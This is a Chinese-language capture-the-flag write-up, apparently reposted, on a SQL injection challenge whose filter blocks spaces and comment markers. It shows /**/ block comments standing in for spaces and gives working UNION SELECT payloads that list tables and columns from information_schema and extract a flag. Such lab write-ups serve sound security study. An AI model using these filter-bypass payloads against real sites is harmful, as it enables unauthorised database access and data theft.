SQL注入(过滤空格和--+等注释符)

Posted Carrypan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入(过滤空格和--+等注释符)相关的知识,希望对你有一定的参考价值。

1、地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符)

思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型,如下图所示。

2、正常思路输入\' or \'1\'=\'1,直接报错,信息为SQLi detected!,首先猜测or被过滤,直接去掉or,继续输入\' \'1\'=\'1,

仍然报错,信息为SQLi detected!,猜测空格被过滤,直接输入’or‘1’=‘1,如下图所示,确定空格被过滤。

3、尝试使用多行注释符(块注释符)、一对英文括号、换行符、加号来代替空格。

第一次尝试:快注释符/**/

输入\'/**/or/**/\'1\'=\'1

输入\'/**/or/**/\'1\'=\'2,无任何返回,确定块注释符可以使用。

之后分别尝试括号、换行符和加号,均不可使用,最终采用块注释符。

4、爆当前数据库中的表

\'/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having\'1\'=\'1

5、爆flag表中字段和值

 \'/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'flag\'/**/having/**/\'1\'=\'1

\'/**/union/**/select/**/flag/**/from/**/flag/**/having/**/\'1\'=\'1

 

以上是关于SQL注入(过滤空格和--+等注释符)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入绕过技巧

sql注入 form过滤怎么绕过

SQL注入进阶练习常见绕过手段防御的解决方案

MySQL注入 绕过去除注释符

SQL注入不仅仅是or 1=1

SQL注入 当or、and等常用字符被过滤(less-25)